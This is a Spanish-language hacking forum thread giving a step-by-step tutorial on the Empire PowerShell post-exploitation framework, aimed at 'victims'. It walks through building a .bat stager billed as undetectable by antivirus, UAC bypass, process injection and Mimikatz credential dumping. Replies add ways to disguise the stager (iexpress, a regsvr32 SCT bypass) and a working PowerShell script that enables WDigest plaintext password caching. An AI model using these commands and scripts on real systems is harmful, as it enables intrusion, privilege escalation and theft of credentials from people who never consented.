Empire la nueva herramienta de PowerShell & Post-Explotación

Iniciado por BrowserNet, Mayo 21, 2016, 09:31:45 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.



Saludos mis hermanos de underc0de en esta oportunidad les traigo una herramienta llamada "Empire", según el autor data que es un agente de post-explotación PowerShell construido sobre comunicaciones cryptologically seguras y una arquitectura flexible, se parece mucho a metasploit, pero mas se asemeja pupy,  pero este siempre tendrá la sesiones de las victimas, esta herramienta fue presentada en el BSidesLV en 2015.

¿Para que sirve Empire?

Empire implementa la capacidad de ejecutar agentes PowerShell sin necesidad powershell.exe, los módulos de post-explotación de despliegue rápido que van desde los registradores de claves a Mimikatz y comunicaciones adaptables para evadir la detección de redes, todo envuelto en un marco centrado en la facilidad de uso.

sitio oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si desean ver la presentación del manejo de la herramienta, que en verdad es muy buena! pueden visitar el siguiente enlace:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Instalación:

Código: php
root@kali:~# git clone https://github.com/PowerShellEmpire/Empire.git
root@kali:~# cd Empire
root@kali:~/Empire# ./setup/install.sh


como vemos al instalar los módulos del empire automáticamente pasara a descargar los complementos que necesita, para poder ejecutar la herramienta con éxito.



en mi caso algunas ya las tengo instaladas y actualizadas, pero otras no como son las siguientes que mostrare en la siguiente imagen:



en mi caso salio un error en la sintaxis 15 referente al archivo ./setup_database.py, algunas personas siempre ignoran un pequeño error de una linea  y trata de ejecutar el Empire u otra herramienta con normalidad y al final les arrojaría los errores comunes.

Código: php
root@kali:~/Empire# ./empire




yo creo que el 60% se rendiría y no ejecutaría la herramienta, hasta nosotros lo hemos hecho pero estamos aquí referentes para dar el consejo "Lean", si nos dice que no se encuentra dicho archivo lo que haremos sera entrar a la carpeta setup y ejecutar el archivo setup_database.py para instalar la base de datos

Código: php
root@kali:~/Empire# cd setup
root@kali:~/Empire/setup# python setup_database.py




Una ves que términos todo este proceso, pasaremos a configurar e instalar nuestro certificado, en el archivo "cert.sh.

Código: php
root@kali:~/Empire/setup# ./cert.sh




Luego de ello, nos dirigiremos a la carpeta de inicio y ejecutaremos el Empire
Código: php

root@kali:~/Empire/setup# cd ..
root@kali:~/Empire# ./empire




como vemos nos cargar perfectamente sin ningún error, entonces vayamos prácticamente a la acción como se dice en Perú, "Menos floro y mas acción", vamos a configurar nuestro servidor de infección iremos a la sección "Listeners", como podemos observar añadí el nombre initial , ustedes pueden poner lo que gusten.
Código: php

(Empire) > listeners
(Empire: listeners) > info
(Empire: listeners) > set Name initial
(Empire: listeners) > execute
(Empire: listeners) > list





lo que haremos sera interactuar con la plataforma y empezaremos  a buscar e interpretar un archivo ejecutable pero en extensión .bat.

Código: php
(Empire: listeners) > usestager launcher_bat initial


la cual se genero en la ultima linea:
  • Stager output written out to: /tmp/launcher.bat

    entonces abriremos otra terminal y nos dirigiremos a la siguiente carpeta para mover-la al modulo del escritorio

    Código: php
    root@kali:~# cp /tmp/launcher.bat /root/Desktop/




    al ejecutar el movimiento al escritorio,le enviaremos el archivo a nuestra victima, si desean ver el código del payload pueden abrirlo con leafpad en mi caso, ya saben que siempre lo ejecuto mediante nano:
    Código: php

    root@kali:~# cd Desktop
    root@kali:~/Desktop# nano launcher.bat




    bueno continuando con lo siguiente, pasaremos a enviarle el archivo a nuestra victima, en mi caso mi victima estará con un windows 8



    al momento que la victima aya ejecutado nuestro archivo, que por cierto es indetectable por los AV nos dirigiremos a nuestro terminal para ver los servidores de escucha que están conectados, en nuestro caso la victima.
    Código: php

    (Empire: stager/launcher_bat) > agents
    (Empire: agents) > list


    Como vemos al iniciar



    Entonces entraremos al interactuar con nuestra primera victima para ello ejecutaremos la siguiente sintaxis.

    Código: php
    (Empire: agents) > interact 3R3CUZRTP13B1HGV
    (Empire: agents) > rename DC

    una ves aplicado ello, pondremos el comando "help", para ver las opciones que podemos utilizar las cuales son las siguientes:



    Entonces lo que debemos hacer primero es ejecutar el Bypass de UAC para poder escalar privilegios administrativos para añadir algunas de estas opciones, las cuales les serán de mucha utilidad.

    Código: php
    (Empire: agents) >  interact DC
    (Empire: agents) >  usemodule privesc/powerup/allchecks
    (Empire: agents) >  info
    (Empire: agents) >  execute
    (Empire: agents) >  back




    entonces empezara a cargar los módulos de explotación del UAC, como vemos nos aparecen el siguiente mensaje con la cual nos dice que se esta ejecutando los servicios enfocados en cada sección



    una ves cargado pasaremos a ejecutar el  bypass para explotarlo en one.
    Código: php
    (Empire: DC) > bypassuac initial
    (Empire: DC) >


    luego de que cargase lo siguiente e inicie la activación, pasaremos a dirigimos a la lista e interpretaremos con el nuevo proceso llamado UTLZ1UEP1LEXHPKG la cual es el usuario administrativo interceptado.
    Código: php
     (Empire: DC) > agents
    (Empire: agents) > interact UTLZ1UEP1LEXHPKG


    nuevamente  nombraremos él nombre del servicio, como  PhishedUserHigh
    Código: php
    (Empire: UTLZ1UEP1LEXHPKG) > rename PhishedUserHigh

    para culminar vamos a mirar los procesos que corren y como vemos son los procesos administrativos para que ven que lo son.
    Código: php
    (Empire: PhishedUserHigh) > ps
    (Empire: PhishedUserHigh) > back




    en mi caso escogí el proceso explorer que tiene el PID 292, para inyectar mi sesión  y como vemos hemos creado otro servicio con el nombre 1Z2NWDRLUUV1D1KK pero con el proceso cambiado que le otorgamos.
    Código: php

    (Empire: agents) > interact PhishedUserHigh
    (Empire: PhishedUserHigh) > psinject initial 392
    (Empire: management/psinject) > execute





    ahora pasaremos a dumpear del sistema mediante mimikatz, en este caso escogere el usuario administrativo PhishedUserHigh
    Código: php

    (Empire: agents) > interact PhishedUserHigh
    (Empire: PhishedUserHigh) > usemodule credentials/mimikatz/lsadump
    (Empire: credentials/mimikatz/lsadump) > info
    (Empire: credentials/mimikatz/lsadump) > execute
    (Empire: credentials/mimikatz/lsadump) > back




    Esperaremos a que cargue el modulo de dumpeo................ : )



    Esto fue todo por ahora, espero haberles ayudado mucho quise expandir mas este POST, porque me falto algunas opciones mas, pero yo los saque de la referencia de la presentación, ustedes pueden verlo y aprender mas sobre esta herramienta, en fin.

    Un saludo !!! Happy Hackingª

¿existe alguna forma de ocultar el .bat en algun tipo de macro para camuflajearlo en un documento de Microsoft Office?

En muchas maneras de "esconder" el .bat o el script que crea el agente.

Te dejo aqui algunas opciones que tienes.

1. Meter el script en un .exe. ¿Como puedes hacer esto?, con muchas aplicaciones, como por ejemplo "iexpress.exe".
2. Usar un exploit el cual sea funcional para la victima, y de payload windows/exec y el script que te crea el empire.
3. Haciendo un bypass con regsvr32 /s /n /u /i:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Dentro del SCT se puede embeber un wscript que lance el powershell.

Con esto lo que te venimos a decir, que hay miles de maneras de hacerlo, sólo, hay que tener imaginación.

Ya que estamos hablando de empire, uno de los payloads es mimikatz. ¿Hay alguien que haya conseguido encodearlo para que haga un bypass con los antivirus?

Yo lo que hago es desactivar el antivirus porque mimikatz es detectable...


Si os gusta el powershell como lenguaje de post explotacion.

Echarle un ojo a este script:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Este script es capaz de leer el user y password en texto plano desde la memoria.


Por cierto, para que te funcione debes crear un clave en el reg.

Te dejo un script que me hice para crearla con un bypass:


param(
[string]$Activar="si"

)

$ErrorActionPreference = "SilentlyContinue"
if ($Activar -like "si" -or $args -like "Si") {$Activar="Si"} else {$Activar="No"}

######################################################################################################################

$ruta_key = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
$key = "UseLogonCredential"
$check_exist_key = Test-Path $ruta_key
if ($check_exist_key -eq $null) {$check_exist_key = "False"}
$check_valor_key = Get-ItemProperty $ruta_key | Select-Object $key ; $check_valor_key = $check_valor_key.UseLogonCredential

######################################################################################################################


if ($Activar -eq "Si") { New-ItemProperty -Path $ruta_key -Name $key -Value "1" -PropertyType DWORD -Force| Out-Null; Write-Host "`n`nAñadida clave de registro, es necesario reiniciar." }
if ($Activar -eq "No") {Remove-ItemProperty $ruta_key -Name $key  -Force | Out-Null ; "`n`nEliminada clave de registro, es necesario reiniciar."}

(Empire: PhishedUserHigh) > psinject initial 392
(Empire: management/psinject) > execute

Inicia el job pero no se inyecta, que podría ser?

Coño muy bueno el tuto, en lo que el tiempo me lo permita lo pondre a prueba y comentare, Gracias! Bro...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
(Empire: PhishedUserHigh) > psinject initial 392
(Empire: management/psinject) > execute

Inicia el job pero no se inyecta, que podría ser?

Quizá no te injecta porque no tienes permisos de administrador local. ¿Te sale un * como que tienes privilegios de administracion local?